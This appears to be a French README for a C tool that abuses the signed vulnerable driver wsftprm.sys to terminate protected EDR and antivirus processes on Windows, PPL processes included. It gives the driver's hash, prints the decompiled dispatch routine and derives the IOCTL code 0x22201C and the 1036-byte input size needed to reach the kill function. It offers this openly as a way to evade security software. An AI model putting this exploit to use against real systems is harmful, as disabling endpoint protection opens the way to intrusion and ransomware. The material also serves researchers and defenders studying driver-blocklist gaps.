
Outil basé en C exploitant le pilote noyau vulnérable wsftprm.sys pour mettre fin aux processus protégés d'EDR/AV sous Windows, y compris les processus PPL, via une logique de répartition IOCTL inversée.
F, un autre pilote a grillé.. Je gardais le pilote wsftprm.sys pour moi depuis un moment ;) mais depuis que quelqu'un a publié un POC public, je le dévoile. On sait tous qu'il sera bientôt ajouté à la liste de blocage des pilotes, alors voici mon implémentation pour la même chose — en C
Ce projet exploite le pilote vulnérable wsftprm.sys (pilote noyau Topaz Antifraud) pour terminer des processus protégés (ex. services antivirus/EDR) sur Windows.
Depuis Janvier 2026, wsftprm.sys (SHA-256 : FF5DBDCF6D7AE5D97B6F3EF412DF0B977BA4A844C45B30CA78C0EEB2653D69A8) reste l'un des pilotes vulnérables signés qui n'est pas sur la liste officielle de blocage des pilotes vulnérables de Microsoft
Il y a une tonne d'informations sur comment charger & rétroconcevoir un pilote, donc référez-vous à n'importe laquelle. La seule chose intéressante avec ce pilote est la façon dont il gère les IOCTL.. Le pilote n'utilise pas une instruction switch standard pour le dispatch des IOCTL. Au lieu de cela, il emploie une chaîne de soustractions à partir du code IOCTL pour obscurcir les valeurs attendues.
__int64 __fastcall DispatchDeviceControl(__int64 a1, __int64 a2, ...)
{
// ...
v7 = IoControlCode; // v6[6] = Parameters.DeviceIoControl.IoControlCode
v8 = v7 - 0x222000;
v9 = v8 - 4;
v10 = v9 - 4;
v11 = v10 - 16;
if ( v11 == 4 && InputBufferLength == 1036 )
{
// Copy 1036-byte input buffer
// Extract first DWORD as PID (v41)
// Call sub_14000264C(v41, buffer) → leads to termination
}
}
sub_14000264C(unsigned int a1, __int64 a2)
{
// ...
v4 = sub_140002848(a1); // a1 = PID from buffer[0..3]
}
__int64 __fastcall sub_140002848(unsigned int a1) // PID
{
CLIENT_ID ClientId = { (HANDLE)a1, 0 };
OBJECT_ATTRIBUTES ObjAttr = { sizeof(ObjAttr), 0, 0, 0, 0, 0 };
HANDLE ProcessHandle;
ZwOpenProcess(&ProcessHandle, PROCESS_ALL_ACCESS, &ObjAttr, &ClientId);
if (NT_SUCCESS(status) && ProcessHandle)
{
ZwTerminateProcess(ProcessHandle, 0);
ZwClose(ProcessHandle);
}
// ...
}
Maintenant que nous connaissons les prérequis pour atteindre la fonction vulnérable. En gros, v11 == 4 && InputBufferLength == 1036, donc on peut remonter la condition pour obtenir le code IOCTL.. Quelque chose comme ça :
v11 == 4
→ v10 - 16 == 4 → v10 = 20 (0x14)
→ v9 - 4 == 20 → v9 = 24 (0x18)
→ v8 - 4 == 24 → v8 = 28 (0x1C)
→ v7 - 0x222000 == 28 → v7 = 0x222000 + 0x1C = 0x22201C
Et ensuite vous pouvez utiliser DeviceIoControl avec le code IOCTL pour terminer le processus souhaité (y compris les processus PPL)
Dernier test effectué sur Windows version 25H2 !